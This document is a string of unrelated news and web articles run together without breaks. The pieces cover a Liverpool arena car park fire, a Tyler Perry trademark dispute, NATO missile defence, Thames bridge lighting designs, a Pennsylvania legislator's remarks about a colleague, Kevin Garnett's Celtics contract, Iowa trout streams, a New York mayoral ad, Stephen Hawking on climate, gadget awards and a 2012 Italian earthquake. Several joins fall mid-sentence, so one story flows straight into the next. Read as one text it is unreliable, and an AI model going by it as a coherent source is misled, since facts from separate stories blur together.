Nearby apartments were evacuated due to smoke.
People who had parked in the multi-storey described being "frightened" by the noise as car windows exploded.
They said emergency services warned them their cars would be lost to the blaze.
Merseyside Police reported 21 fire engines were at the scene during the night tackling the blaze and the fire service said it was guarding against the risk of the building collapsing.
All vehicles left in the 1,600-capacity car park have been destroyed, police said.
They warned people to stay indoors and close windows if they saw smoke from the fire.
The Liverpool International Horse Show has been running at the arena, which has a total capacity of 11,000, since 28 December.
Liverpool Mayor Joe Anderson tweeted that everyone was safe and no animals had been hurt.
Image copyright PA Image caption The fire was reported at about 16:40 GMT
He said some horses that were on the first floor of the multi-storey car park had been moved inside the arena.
'Not getting your car back'
Kerry Matthews was visiting Liverpool for the night to celebrate the new year and had left his vehicle in the car park.
He said: "A fireman said the whole car park is on fire. He said, 'What level is your car on?' We said six.
"He said, 'Well you best go and have a couple of drinks to celebrate new year because you're not going to get your car back'."
Image copyright PA Image caption Kerry Matthews (r) was visiting Liverpool with partner Patricia Heath
Kevin Booth, who also parked in the Echo Arena car park, described the the flames and the smoke "as unbelievable".
He said: "People were saying that they would just wait and get their cars back. I thought, 'Have you seen the fire? Are you joking?'
"It was frightening, we could hear the bangs of car windows exploding."
Image copyright PA Image caption The car park had a capacity of 1,600 vehicles
Mike Quek tweeted that there were "lots of explosions coming from the car park still".
"Driving into #liverpool #arena carpark and told to evacuate as car was on fire. Horses on ground floor. Hopefully everyone is ok," he added.
Merseyside Police said of the blaze: "Initial investigations indicate that an accidental fire within a vehicle caused other cars to ignite.
"We believe that all vehicles parked in the car park have been destroyed."
Image copyright PA Image caption Horses were led away from the arena
A spokeswoman for the Echo Arena said: "We regret to announce that the Liverpool International Horse Show has been cancelled tonight due to a serious fire in the multi-storey car park on site.
"All people and horses are safe and secure.
"We are working alongside the emergency services to ensure the fire is brought under control and to make the site safe as quickly as possible."
The arena said Liverpool City Council had opened a reception centre at Lifestyles in Park Road, Steble Street, L8 6QH, for those unable to get home or needing temporary shelter.
Aintree International Equestrian Centre offered its stables to those needing accommodation for horses.
Image copyright @imjamesforshaw Image caption Liverpool Mayor Joe Anderson said some horses had been moved inside the arena
On the horse show's Facebook page, organisers said it was with "considerable regret" that it had decided to cancel the evening show due to the fire.
It added: "All people and horses are safe and secure, and show organisers have thanked spectators, riders and support teams for their understanding and co-operation during this ongoing situation.
The Echo Arena said: "The possibility of rescheduling tonight's show to tomorrow has been discussed, but unfortunately this has not proven possible."
A number of people have responded to the show's Facebook post, many offering stables for the night for horses, accommodation for people stranded or lifts home.
Carl Hopwood wrote: "The smoke from the fire was really nasty. The security staff at the venue were really professional polite and very well organised in directing people away from the event."
Have you been affected by the fire? Have you had to spend the night in a shelter? Only if it is safe to do so, tell us your story at [email protected].
You can also contact us in the following ways:In a decision that could have dramatic ramifications for bracelets everywhere, Tyler Perry has won a trademark battle over the phrase “What Would Jesus Do”—a rhetorical question that is now more accurately Tyler Perry’s What Would Jesus Do. While the origins of the English phrase’s popular usage can be traced to an 1896 book by minister Charles Sheldon, spreading like catchy, evangelical wildfire a century later across sermons and accessories in the 1990s, it apparently wasn’t until 2008 that someone thought to register this soul-searching moral imperative as a mark for entertainment. Or rather, two someones, as it seems Tyler Perry filed the phrase a few months after Kimberley Kearney, “Poprah” of the reality show I Want To Work For Diddy, sparking a war for the right to spread Jesus’ word, with all attendant royalties therein.
In Kearney’s case, her zeal for working for Jesus was nearly matched by her enthusiasm for working for Diddy, as she hoped to use the title What Would Jesus Do for a reality series that would show audiences “how Christians should really live.” Kearney says she pitched the show to Tyler Perry Studios, only to have Tyler Perry—as with all intellectual property, flora, and fauna—attempt to put Tyler Perry’s name on it. Four months later, Tyler Perry’s own bid to register “What Would Jesus Do,” clashed with Kearney’s trademark, forcing Tyler Perry to ask Tyler Perry, “Tyler Perry’s What Would Jesus Do, Tyler Perry?” And, after some deep contemplation in His garden of lawyers, Jesus said He would demand the U.S. Patent Office cancel Kearney’s registration, on the grounds that she clearly wasn’t using it. What Jesus would not do is allow his trademark to lapse.
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As The Hollywood Reporter notes, with “What Would Jesus Do” now firmly written in the Book Of Tyler Perry’s Life, the burden is now on Tyler Perry to use it for something—for example, as the title of a romantic comedy about a woman whose bad luck with relationships is turned around with the help of her sassy friend, Jesus. Quite graciously, Tyler Perry’s registration also “included a disclaimer that he wasn’t attempting ownership on the exclusive right to use ‘Jesus’ apart from ‘What Would Jesus Do,’” meaning you don’t have to pray to Tyler Perry’s Jesus for forgiveness. At least, not yet.Last Updated 8:23 a.m. ET
(CBS/AP) CHICAGO - NATO says that its European missile shield is up and running with a basic capability to shoot down incoming missiles.
NATO Secretary General Anders Fogh Rasmussen said Sunday the declaration of "interim capability" at the alliance's summit in Chicago is a first step toward a goal of establishing full coverage of Europe by 2018.
A final stage is planned for 2022 that would also provide coverage of the United States from Europe.
The Obama administration has touted the progress as a sign of alliance solidarity. But it is mainly paid for and operated by the United States.
In Chicago, the administration turned over operational control of parts of the system to NATO.
The administration said that other NATO allies committed over $1 billion to support infrastructure for the system.
"The United States and our European allies [are] investing in common security, and it is an excellent example of the renewed culture of cooperation, which we call'smart defense,'" Rasmussen told reporters.
NATO: Obama warns of "hard days" ahead in Afghanistan
NATO has also stated that it wants to cooperate with Russia on the missile shield, but has rejected a proposal to run the shield jointly.
Russia has opposed the missile defense system believing the program is aimed at its missiles; the U.S. has said the system is designed to counter a missile threat from a rogue nation, such as Iran.
It has been a sore point between the two nations since President George W. Bush announced plans to install interceptor missiles in Eastern Europe, what Moscow considered its backyard. Russia maintains the system could undermine its nuclear deterrent, while Poles and Czechs saw it as protection against Russian intervention.
Russia ups rhetoric over missile shield
Putin calls NATO "relic of the Cold War"
Medvedev: Russia must counter missile shield
In August 2008, after a year and a half of negotiations, American and Polish officials signed an agreement in which the U.S. would augment the country's defenses with Patriot missiles.
In 2009 President Obama announced a redesign of the planned missile deployment - what Defense Secretary Robert Gates called an "outdated" plan, given advances in U.S. missile interceptor and missile-tracking sensor technologies.
Last year Russian President Dmitry Medvedev expressed concerns that the modified defense system pursued by Mr. Obama could still be upgraded to counter Russia's arsenal.
Obama: US, Russia working on missile defense
On Sunday France's new president Francois Hollande said that Russia and other countries should not feel threatened by the planned NATO missile defense system.
Speaking at the NATO summit in Chicago, Hollande also laid out four conditions for French support for the anti-missile defense - including cost, rules of engagement, industrial support for European contractors and compatibility with France's nuclear deterrent.Will Noble
Thames Bridges Will Light Up With One Of These Bold Designs
Bridges spanning the Thames in central London will be lit up in bold new after-dark schemes from 2018, thanks to innovative project, The Illuminated River.
A shortlist of six international teams — representing Asia, Europe, North America and South America — have submitted ideas for illuminating four London crossings (Chelsea, London, Waterloo and Westminster) and an 'overarching masterplan' for the main road, rail and pedestrian bridges between Albert and Tower bridges.
You can see images and videos of the proposed designs in a free exhibition at the Royal Festival Hall from 9 November.
Here's a taster of what to expect:
Blurring Boundaries
Adjaye Associates' designs include this rather dramatic pretty-fication of London Bridge.
See full proposal.
The Eternal Story of the River Thames
AL_A want to "reveal the river as a breathing, pulsing organism". It's not just the bridges that get the light treatment here, but the fringes of the river too.
Images (c) MRC and AL_A.
See full proposal.
Synchronizing the City: Its Natural and Urban Rhythms
As the sun sets, the bridges along the Thames will slowly "fill with light like a vessel with liquid, until they are full". The huge beams of light, meanwhile, are described as a 'night kiss', although remind us somewhat of the Blitz.
Images (c) MRC and Diller Scofidio + Renfro.
See full proposal.
Current
Villareal's proposal is perhaps the subtlest — although it'll still look striking when you're coming into land at Heathrow.
Images (c) MRC and Leo Villareal and Lifschutz Davidson Sandilands.
See full proposal.
A River Ain't Too Much To Light
The bridges would be lit one by one, by Les Éclairagistes Associés. A nice touch — although is it just us, or have they basically used the Tricolore here?
Images (c) MRC and Les Éclairagistes Associés.
See full proposal.
Thames Nocturne
Live data taken from the Thames is used to create an "ethereal display that ebbs and flows in register with the river." We're not quite sure what those Georgians are doing on the riverbank.
Images (c) MRC Sam Jacob Studio and Simon Heijdens
See full proposal.
You can share your views on the project via a survey at the exhibition, although the final winner will be selected by a jury of designers, technicians and others.
The winning team will be announced on 8 December, and the first stage of the project will start in 2018.
The Illuminated River exhibition is on level 3 and 4 of Blue Side, Royal Festival Hall, from 9-29 November 2016, 10am-10pm daily. Entry
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announcement of the deal, the two companies said: “It will disrupt the traditional entertainment model and push the boundaries on mobile content availability for the benefit of customers.”
The world’s biggest media companies
Comcast
The world’s biggest media conglomerate, according to the 2016 Forbes Global 2000 list, has annual revenue of $74.5bn, a market value of $153bn and more than 150,000 employees. The Philadelphia-based company supplies cable to 40 states and DC and also owns NBC Universal, owner of one of the US’s “big three” TV networks and Universal Studios and its theme parks.
Walt Disney
Founded by Walter Elias “Walt” Disney in 1923, the company most famous for Mickey Mouse has become a conglomerate covering TV, movies and theme parks. It has a market value of $150bn and annual sales of $54bn. As well as Walt Disney Studios, it owns the broadcast TV network ABC and several cable networks, including Disney Channel, ESPN and A+E Networks.
21st Century Fox
The Murdoch family company, formed when the news assets and entertainment assets of News Corp were split in 2013, has a market value of $48bn. Its assets include the 20th Century Fox film studio, the Fox television network, the Asian pay-TV channel STAR TV and a 39.14% stake in Sky TV.
CBS
Formerly known as Columbia Broadcasting System, CBS is worth $26bn and makes annual revenue of $13.9bn. Another of the big three US TV networks, it also owns Showtime and The Movie Channel and CBS Radio.
Viacom
Spun out of CBS in 2005, Viacom has a market value of $15bn and owns Paramount Pictures, Nickelodeon, MTV and VH1, Comedy Central and Channel 5 in the UK.TribLIVE's Daily and Weekly email newsletters deliver the news you want and information you need, right to your inbox.
State Rep. Daryl Metcalfe told a Democratic male colleague to stop touching his arm Tuesday during a House committee meeting because he’s heterosexual and then urged the Democrat to look to people in his own party if he wanted to touch men.
“I’m a heterosexual. I have a wife. I love my wife. I don’t like men, as you might,” Metcalfe, R-Cranberry, told Rep. Matthew Bradford, D-Montgomery County, during a State Government Committee meeting.
“But don’t — stop touching me all the time,” Metcalfe continued. “It’s like, keep your hands to yourself. Like if you want to touch somebody, you have people on your side of the aisle that might like it. I don’t.”
Metcalfe, 55, made the comments during a meeting in which the committee was scheduled to vote on a bill related to eminent domain and roads. Bradford was discussing whether to table a bill or debate it further when he touched the arm of Metcalfe, who was seated beside him. Bradford said in the meeting that he touched Metcalfe’s arm as part of a plea for more time to discuss the legislation.
Metcalfe is the committee’s majority chairman. Bradford is its minority chairman.
“It was very unpleasant and awkward and appalling,” Bradford said in an interview after the meeting. “In this day and age, that’s really inappropriate.”
Metcalfe said in an interview that he intended to draw attention to unwanted touching from Bradford, who he said has touched his arm or shoulder often in meetings in recent months despite his telling Bradford to stop.
“We have someone who’s an elected leader and he continues to touch an elected leader when he’s been told to stop,” Metcalfe said.
When asked whether he was suggesting Bradford — who is married to the mother of his four children — is gay, Metcalfe responded, “I don’t know what his sexuality or his sexual behavior is. I don’t know what it is. But I know from him touching me all the time that he indicates he likes to touch men.”
When asked about Metcalfe’s claim, Bradford responded, “I’ll be honest, I often try to calm him down. I speak with my hands. I’ve tried to calm him down.”
Bradford said the committee meetings are often contentious and that he has often tried to quell disagreements between Metcalfe and other members.
Metcalfe, when asked about his comments regarding other Democrats, said the only openly gay member of the House is a Democrat sitting on the committee.
Rep. Brian Sims, D-Philadelphia, who sits on the committee, is the first openly gay legislator in Pennsylvania.
When asked whether he intended the references to the sexuality of Bradford and other Democrats in a pejorative way, Metcalfe responded, “I said what I said. If he likes to touch other men, then find another man to touch because I’m not the man to be touching.”
The Pennsylvania Democratic Party quickly called for the resignation of Metcalfe, who is in his 10th term.
“For years Metcalfe has taken policy positions based on bigoted misconceptions and fear of minority groups and the LGBT community, but today he has gone beyond the pale,” party spokesman Brandon Cwalina said in a statement. “We are again calling on Daryl Metcalfe to resign and to apologize to all Pennsylvanians for his ridiculously bigoted behavior.”
Metcalfe has been outspoken in his belief that homosexuality is a sin and marriage should only be between a man and a woman.
In 2013, Metcalfe used a procedural maneuver to prevent Sims from speaking on the House floor about the U.S. Supreme Court striking down a portion of the Defense of Marriage Act.
“For me to allow (Sims) to say things that I believe are open rebellion against God are for me to participate in his open rebellion,” Metcalfe told The Associated Press at the time.
Also that year, Metcalfe was one of several Republican lawmakers to call for the impeachment of then-Attorney General Kathleen Kane because they said she was refusing to defend the state’s ban on gay marriage.
In 2015, Metcalfe spoke out against the Supreme Court ruling ensuring that same-sex marriages must be recognized across the United States.
“What the justices displayed today is judicial tyranny. The justices set themselves above God’s law, natural law and the will of the people across this country. … This is a government of ‘We the People,’ and we the people are not done with this fight,” Metcalfe said.
Bradford said he talked with House Speaker Mike Turzai, R-Marshall, about Metcalfe’s comments. He believes that at least an apology is warranted.
A Turzai spokesman said he was not aware of the speaker getting involved.
“I wish some civility would reign,” Bradford said.
Wes Venteicher is a Tribune-Review staff writer. Reach him at 412-380-5676, [email protected] or via Twitter @wesventeicher.
Wes Venteicher is a Tribune-Review staff reporter. You can contact Wes at 412-380-5676, [email protected] or via Twitter.A day before the rest of the league is allowed to start the free-agency process, the Boston Celtics signed arguably the most desirable unrestricted free agent at well-below market value.
Somewhere, Danny Ainge has to be cackling in delight.
A summer of uncertainty became much more definitive when the Celtics agreed to a three-year contract extension with Kevin Garnett. Before you could even settle into your Fourth of July weekend, the Celtics sent up some fireworks of their own.
With Kevin Garnett rejoining Rajon Rondo next season, two key pieces of the Celtics' past success remain in the present. Jared Wickerham/Getty Images
More importantly, the deal sets into motion Boston's entire offseason. The new contract might as well come with a new nickname for Garnett: The Big Domino.
Oh sure, he's still the Big Ticket. This contract -- valued at $34 million over three years, sources confirmed -- will push Garnett's career earnings to a whopping $325 million. That's the most money pulled down by a player in league history, with KG leapfrogging old friend Shaquille O'Neal and his $292 million.
But even at age 36, Garnett was the linchpin to Boston's success this past season, and that's probably true looking ahead to next year as well. Ainge had noted that Garnett was Plan A. Truth be told, the Celtics really didn't have a Plan B, at least not one they preferred to execute.
But now Garnett is back, and so, too, are the Celtics. Yes, we're talking about potentially adding Years 6, 7 and 8 to what was supposed to be a three-year window with this core, but it's hard to argue with the results.
The Celtics had two chances to knock off the eventual NBA champions before succumbing to the Miami Heat in the Eastern Conference finals earlier this month. Despite all sorts of adversity faced during the 2011-12 season, the Celtics were 8 minutes short of winning Game 7 on the road.
This team genuinely believes that by bringing back its core, getting a healthy Avery Bradley -- maybe a healthy Jeff Green, too? -- and adding some pieces, Boston can make another charge at a title.
None of that was possible without Garnett.
Even as he pondered retirement, it was hard to believe Garnett would truly walk away. Yes, the wear and tear of 17 NBA seasons and the 12th-most minutes played in league history has taken its toll on a prep-to-pros player once dubbed "The Kid." Now Garnett is a geezer by NBA standards -- please don't tell him we said that -- but played as if he found a fountain of youth last season.
The Celtics needed Garnett back. He's the defensive anchor and the team's conscience. Paul Pierce might be the captain, but Garnett set the tenor when he arrived in Boston, and he holds everyone accountable.
It would be nice to see Ray Allen in a Celtics uniform again, but there's a chance he could opt to don a Heat jersey. Mike Ehrmann/Getty Images
Everything would have been different next season without Garnett on the floor or in the locker room. Now Boston doesn't have to worry about that.
But there's still work to be done. So where do the Celtics go from here?
With Garnett in the fold, the Celtics now have five players under contract for next season at a total of about $45 million: four starters in Rajon Rondo, Bradley, Pierce and Garnett, plus soon-to-be second-year forward JaJuan Johnson. Boston also extended a $1.05 million qualifying offer Friday to center Greg Stiemsma and added big men Jared Sullinger and Fab Melo through Thursday's draft.
That's eight players at roughly $48 million, and the team holds low-cost options on E'Twaun Moore and Sean Williams -- decisions that can wait a few weeks. The more pressing issue is the group of free agents the team owns varying rights to, including Ray Allen, Brandon Bass, Mickael Pietrus and Keyon Dooling.
With Garnett's situation resolved, it thrusts Allen into the spotlight. The Celtics can go over the salary cap to retain his services, allowing them to pay more than any other contender can offer. The question is whether Boston desires to do that. Allen moved to a reserve role last season, and the team has to put a value on his remaining skill set. He's still an offensive force and the league's all-time 3-point leader, but his defense can be a liability at times.
And this is why it's Ainge's next big decision: The Celtics will be above the league's roughly $58 million salary cap, but if they can stay within $4 million of the $70 million luxury tax, it would afford the team the ability to utilize both a $5 million midlevel exception and a $1.975 million bi-annual exception available to those teams under the threshold.
If the Celtics have to splurge on Allen and scale above the threshold, they'd only be able to offer the $3 million taxpayer exception, which it used last season on Chris Wilcox.
Don't discount the difference. If Boston stays under the threshold, it could pursue a big-name free agent like O.J. Mayo with the $5 million exception, then still have the bi-annual exception in order to re-sign someone like Pietrus or Dooling (or fend off anyone that submits an offer sheet on Stiemsma, now a restricted free agent).+ Trout Regulations (License, Seasons, Limits)
+ Where can I fish for trout?
Put-and-Grow Wild Trout Streams Wild Trout Streams Open to Public Fishing The Iowa DNR buys land along some streams from willing lan downers to provide trout fishing on publicly-owned land with Angler Conservation Easements. Look for the grey “Open for Public Fishing” or white “Public Fishing Only” signs. Angler Conservation Easements along trout streams provide water resource protection, fish habitat restoration and public fishing. These easements are an important partnership with participating landowners. Over 10 miles of Northeast Iowa trout streams are conserved by easements. Your cooperation helps protect these “Trout Trails” and allow the public to fish as guests of the landowner. The stream bottoms of Iowa trout streams are privately-owned except when surrounding lands are publicly-owned. If the stream access does not have a public fishing sign, assume that it is private property. You need permission from the landowner to fish areas that are not posted as open for public access. Public-owned fishing areas are typically well-marked with green “Public Hunting” or brown “Park” signs.
+ Iowa's Wild Trout
Put-and-Grow Wild Trout Streams Wild Trout Streams Open to Public Fishing The past 20 years, northeast Iowa has seen a dramatic increase in the miles of stream that support populations of trout fully sustained through natural reproduction. Over 75 streams now have some level of natural reproduction and provide anglers with an excellent opportunity to pursue wild trout. These increases occurred as watersheds were improved, in-stream habitat was installed, improved trout genetics were used, and Iowa had an extended period of above average annual rainfall. Iowa’s put-and-grow streams are stocked with fingerling brown trout. These streams are entirely on private property - you need permission from the landowner to fish them. Fingerling trout are also stocked into streams open to public fishing. Brook Trout from South Pine Creek are the only know population of native Iowa Brook Trout. In 1995, Iowa DNR staff started spawning trout from South Pine Creek to restore populations in other NE Iowa coldwater streams. Adult Brown Trout from French Creek are spawned and their offspring stocked as fingerlings into coldwater streams with suitable water temperatures and habitat conditions. Several populations of naturally reproducing Brown Trout have been established in northeast Iowa streams using this stocking approach.
+ Improving Trout Stream Fishing
Fisheries staff play an active role in trout stream projects to improve and maintain quality water and habitat that benefit both trout and trout anglers. They have worked with 18 landowners to protect over 10 miles of streams in Northeast Iowa with Angler Conservation Easements. Successful water quality improvement projects are led by groups and communities that partner with the DNR to create and implement long-term plans to improve the land and water. Using conservation practices on the land upstream is key to help stop sediment, nutrients and bacteria from entering into the stream. Several projects are currently ongoing in Northeast Iowa. The longest running project was implemented in 2000 on the Upper Iowa River. It continues to secure funding for additional tributaries within its watershed and on the immediate corridor. Watershed improvement projects have helped many trout streams by changing the way water flows through them. Bank stabilization projects occur on public and private owned properties. Cutbanks are stabilized by bank shaping, armoring with rock, seeding, willow stake planting and cedar tree or root-wad revetments. Landowners who want to improve the habitat in their trout streams should contact the Decorah or Manchester fish management biologist for help with project plans and potential funding sources.
+ Kids' Trout Fishing PondsSeptember 8, 2017 | 12:58pm
GOP mayoral nominee Nicole Malliotakis literally comes out swinging in her first TV ad of the campaign — striking a punching bag as she takes shots at Mayor de Blasio over his penchant for mid-day napping.
Malliotakis, a state Assembly member from Staten Island, touts her record of fighting in Albany to “restore lost bus service.. and to keep senior centers open,” and of filing a lawsuit against the Port Authority after it raised tolls on area bridges.
“I’m taking on Bill de Blasio because the city that never sleeps needs a mayor that can stay awake!” she says in a boxing gym, to a background of rock guitar music.
The ad also features a mock-up of an actual front page story in The Post that revealed that de Blasio has been known to catch some Z’s on a couch in his City Hall office – including one time with a newspaper covering his face.
Hizzoner has denied the story as “ridiculous.”
His campaign said Malliotakis has been fighting the wrong battles.
“Assembly member Malliotakis has ducked the real fights of taking on Trump and his plans to deport immigrant families and take away healthcare for hundreds of thousands of New Yorkers,” said de Blasio campaign spokesman Dan Levitan. “If she can’t stand up to Trump and extremist, right-wing Republicans, how can she fight for New York?”Stephen Hawking Says Earth Will Become As Hot As Venus Because Of Donald Trump's Paris Accord Decision
Renowned physicist Stephen Hawking warned Sunday that President Donald Trump’s decision to pull the United States out of the Paris climate accord last month could result in temperatures on Earth rising as high as those on the surface of Venus, the second-closest planet to the sun.
Ahead of a celebration for his 75th birthday at Cambridge University, Hawking also told BBC News that he fears the best hope for human civilization is to colonize other planets.
“We are close to the tipping point where global warming becomes irreversible. Trump’s action could push the Earth over the brink, to become like Venus, with a temperature of 250 degrees and raining sulfuric acid,” he said.
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Hawking also said, “Climate change is one of the great dangers we face, and it’s one we can prevent if we act now. By denying the evidence for climate change and pulling out of the Paris climate agreement, Donald Trump will cause avoidable environmental damage to our beautiful planet, endangering the natural world, for us and our children.”
Trump announced on June 1 that the U.S. would no longer participate in the deal to cut global carbon emissions but would seek to renegotiate the 195-nation accord.
Almost immediately after Trump’s remarks, leaders from other top economic powers, like Germany, France and Italy, chastised Trump for the decision, called the accord “irreversible” and vowed no new negotiations, according to The New York Times.
Don't miss: Steve Bannon Eyes Taxing The Rich More: Republican Strategist Bucks Party’s Historic Policies
Hawking said that human nature will inevitably serve as a hindrance to any real, profound actions taken to combat the Earth’s rising temperatures and that he believed humanity’s time on the planet was running out.
“I fear evolution has inbuilt greed and aggression to the human genome,” Hawking said. “There is no sign of conflict lessening, and the development of militarized technology and weapons of mass destruction could make that disastrous. The best hope for the survival of the human race might be independent colonies in space.”
A new study by the American Meteorological Society found that satellite data was consistent with temperatures taken on the Earth’s surface and showed the planet is getting hotter and hotter as time goes by, according to The Washington Post.
The study, aimed at debunking the claims made by climate change deniers, found there wasn’t much discrepancy between temperatures measured high above or on the Earth’s surface.
More from NewsweekSony, Samsung and Sega were among the winners at this year’s Pocket-lint awards.
But it was Apple that scooped Gadget of the Year for its iPhone 6 - the first time any iPhone has been awarded the coveted accolade, despite its widespread popularity.
The iPhone 6 also beat the HTC One (M8) handset to pick up the award for Best Phone.
Apple scooped Gadget of the Year for its iPhone 6 at this year's Pocket-lint awards. It is the first time any iPhone has won the title during the awards’ 11-year history. The handset also beat the HTC One (M8) to pick up the accolade for the Best Phone
But its larger version - the iPhone 6 Plus - lost out on the Best Phablet accolade, which was awarded to Samsung’s Galaxy Note 4.
Stuart Miles, founder and chief executive of Pocket-lint told MailOnline: ‘It's the first time in the 11-year history that the iPhone has won at the awards, and it's clear that this is down to Apple's move to a bigger screen.
‘Apple has, according to the judging panel, industry, and the public, not only created a phone people want, but one that is worthy of winning an award too.’
Apple's iPad Air 2 scooped the Best Tablet title, while Tesco's affordable £129 Hudl 2 was close behind.
The winners were decided by an panel of judges, the tech industry and the general public.
The vote breakdown was 50 per cent from the panel, 40 per cent from the tech industry and 10 per cent from the public.
Alien: Isolation (pictured left) was voted the most popular game, beating blockbusters such as Destiny and Far Cry 4. The judges liked the title because it is different from classic first-person shooters - and the alien itself can't be killed. Mario Kart 8 (right) was crowned the runner up
Sony’s PlayStation 4 (pictured) beat Microsoft's Xbox One to scoop the Best Home Entertainment Device award. The winners were decided by an elite panel of judges, the tech industry and the general public
Sega's Alien: Isolation was voted the most popular game, beating blockbusters such as Destiny and Far Cry 4.
‘There’s no question about it, games are getting more intelligent,' continued Mr Miles.
'You’re not just running down tunnels killing everyone you can. The Alien game is like the film, you can’t kill the alien so the best way to survive is by hiding.’
WINNERS AND RUNNERS UP OF THE POCKET-LINT AWARDS 2014 Category Winner Runner up Best Game Alien: Isolation Mario Kart 8 Best Camera System Panasonic Lumix GH4 Nikon D810 Best Phone in association with O2 Refresh Apple iPhone 6 HITC One (M8) Best Tablet Apple iPad Air 2 Tesco Hudl 2 Best Phablet Samsung Galaxy Note 4 Apple iPhone 6 Plus Best Laptop 2-in-1 Apple MacBook Air 2014 Microsoft Surface Pro 3 Best Home Entertainment Device Sony PlayStation 4 Xbox One Best Headphones Sony MDR-1A Philips Fidelio M2BT Best TV Sony KD-65X9005B 4K TV Panasonic AX802 Freetime Best Smarthome Device Philips Hue Nest Best Speakers Cambridge Audio Go V2 Ruark MR1 Bluetooth speakers Best Compact Camera Sony Cyber-shot RX100 III Panasonic Lumix LX100 Best Wearable in association with O2 Smart Tech LG G Watch R Pebble Steel Gadget of the Year iPhone 6 Samsung Galaxy Note 4
He said that the judges liked the game because it was different and a ‘slow burner’.
‘It’s a refreshing change. One of the judges said that they haven’t played it yet because they’re too scared. Games should evoke excitement,’ he added.
Mario Kart 8 was the second most popular game, and this could be seen as a further move away from the traditional first-person shooter genre.
Apple's iPad Air 2 scooped the Best Tablet title, with Tesco's affordable £129 Hudl 2 (pictured) close behind
All eyes were also on the wearables category, which was won by LG’s G Watch R (pictured), which unlike a lot of its competitors, has a circular screen. The more traditional Pebble Steel model was the runner up
Mr Miles continued: ‘If you look at what people are buying, games have to be clever and offer something different.’
One of the most divisive categories of the night was the award for the most impressive games console.
But Sony’s PlayStation 4 pipped Microsoft’s Xbox One to scoop the 'Best home entertainment device' award.
And all eyes were also on the wearables category, which was won by LG’s G Watch R, which unlike a lot of its competitors, has a circular screen.
‘It’s a forward thinking device and its design is breaking boundaries - not just any band will do,’ Mr Miles said. The more traditional Pebble Steel model was the runner up.(CBS/AP) SAN FELICE SUL PANARO, Italy - Workers at the small machinery company had just returned for their first shift following Italy's powerful and deadly quake earlier this month when another one struck Tuesday morning, collapsing the roof.
At least three employees at the factory two immigrants and an Italian engineer checking the building's stability were among those killed in the second deadly quake in nine days to strike a region of Italy that hadn't considered itself particularly quake prone.
By late Tuesday, the death toll stood at 16, with one person missing : a worker at the machinery factory in the small town of San Felice Sul Panaro. Some 350 people also were injured in the 5.8 magnitude quake north of Bologna in Emilia Romagna, one of Italy's more productive regions, agriculturally and industrially. Originally government officials had put the death toll at 17, and there was no immediately explanation for the lowered toll.
More aftershocks follow fatal Italy quake
Powerful quake kills at least 6 in N. Italy
The injured included a 65-year-old woman who was pulled out alive by rescuers after lying for 12 hours in the rubble of her apartment's kitchen in Cavezzo, another town hard hit by the quake. Firefighters told Sky TG24 TV that a piece of furniture, which had toppled over, saved her from being crushed by the wreckage. She was taken to a hospital for treatment.
The building had been damaged in the first quake, on May 20, and had been vacant since. The woman had just gone back inside it Tuesday morning to retrieve some clothes when the latest temblor knocked down the building, firefighters said.
Factories, barns and churches fell, dealing a second blow to a region where thousands remained homeless from the May 20 temblor, much stronger in intensity, at 6.0 magnitude.
CBS News correspondent Mark Phillips says that, in this area about 25 miles north of Bologna, earthquakes are not uncommon, and a lot of old buildings are not built to withstand them. Many of the most beautiful buildings in northern Italy are also the most vulnerable to earthquakes
The two quakes struck one of the most productive regions in Italy at a particularly crucial moment, as the country faces enormous pressure to grow its economy to stave off the continent's debt crisis. Italy's economic growth has been stagnant for at least a decade, and the national economy is forecast to contract by 1.2 percent this year.
The area encompassing the cities of Modena, Mantua and Bologna is prized for its super car production, churning out Ferraris, Maseratis and Lamborghinis; its world-famous Parmesan cheese, and less well-known but critical to the economy: machinery companies.
A building is damaged after an earthquake on May 29, 2012 in Mirandola, Italy. AFP/Pierre Teyssot/Getty Images
Like the May 20 quake, many of the dead in Tuesday's temblor were workers inside huge warehouses, many of them prefabricated, that house factories. Inspectors have been determining which are safe to re-enter, but economic pressure has sped up renewed production perhaps prematurely.
Seven people were killed in the May 20 quake. In both, the dead were largely and disproportionately workers killed by collapsing factories and warehouses.
Co-workers of Mohamed Azeris, a Moroccan immigrant and father of two who died in the just-reopened factory, claim he was forced back to work as a shift supervisor or faced losing his job. A local union representative had demanded an investigation.
"Another earthquake unfortunately during the day that means people were inside working, so I think that an investigation will need to be opened here to check who cleared as safe these companies to understand who's responsible for this," Erminio Veronesi told The Associated Press.
At another factory closer to the epicenter in in the city of Medolla, rescue crews searched for three workers who did not turn up at roll call after the quake and were presumed dead.
Premier Mario Monti, tapped to steer the country from financial ruin in November, pledged that the government would quickly provide help to the area "that is so special, so important and so productive for Italy."
The Coldiretti farm lobby said damage to the agricultural industry, including Parmesan makers whose aging wheels of cheese already suffered in the first quake, had risen to euro500 million ($626 million) with the second hit. The Modena Chamber of Commerce estimated that the first quake alone had cost businesses euro1.5 million, with no fresh estimates immediately available.
Italian firefighters search the debris of a collapsed factory in Mirandola, northern Italy, Tuesday, May 29, 2012. A magnitude 5.8 earthquake struck the same area of northern Italy stricken by another fatal tremor on May 20. AP Photo/Marco Vasini
Ferrari, Maserati and Lamborghini, all centered around Modena, reported no damage, and said workers were evacuated and then allowed to go home to check on their homes and families. Lamborghini planned to keep production halted on Wednesday.
The quake was felt from Piedmont in northwestern Italy to Venice in the northeast and as far north as Austria. Dozens of aftershocks hit the area, some registering more than 5.0 in magnitude.
The temblor terrified many of the thousands of people who have been living in tents or cars since the May 20 quake and created a whole new wave of homeless.
"I was shaving and I ran out very fast, half dressed," a resident of Sant'Agostino, one of the towns devastated in the quake earlier this month, told AP Television News.
Tuesday's quake struck just after 9 a.m. with an epicenter 40 kilometers (25 miles) northwest of Bologna, according to the U.S. Geological Survey just several kilometers (miles) away from where the 6.0-magnitude quake that killed seven people on May 20 was centered.
In the town of Mirandola, near the epicenter, the church of San Francesco crumbled, leaving only its facade standing. The main cathedral also collapsed. Sant'Agostino's town hall, so damaged in the May 20 quake that it looked as if it had been bombed, virtually fell apart when the latest deadly temblor struck.
Labor Minister Elsa Fornero suggested the destruction to buildings was out of proportion, considering the magnitude of the quake. "It is natural that the earth shakes. But it is not natural that buildings collapse," Fornero said told lawmakers in Parliament's lower Chamber of Deputies.
The May 20 quake was described by Italian emergency officials as the worst to hit the region since the 1300s. In addition to the deaths, it knocked down a clock tower and other centuries-old buildings. Its epicenter was about 35 kilometers (22 miles) north of Bologna.
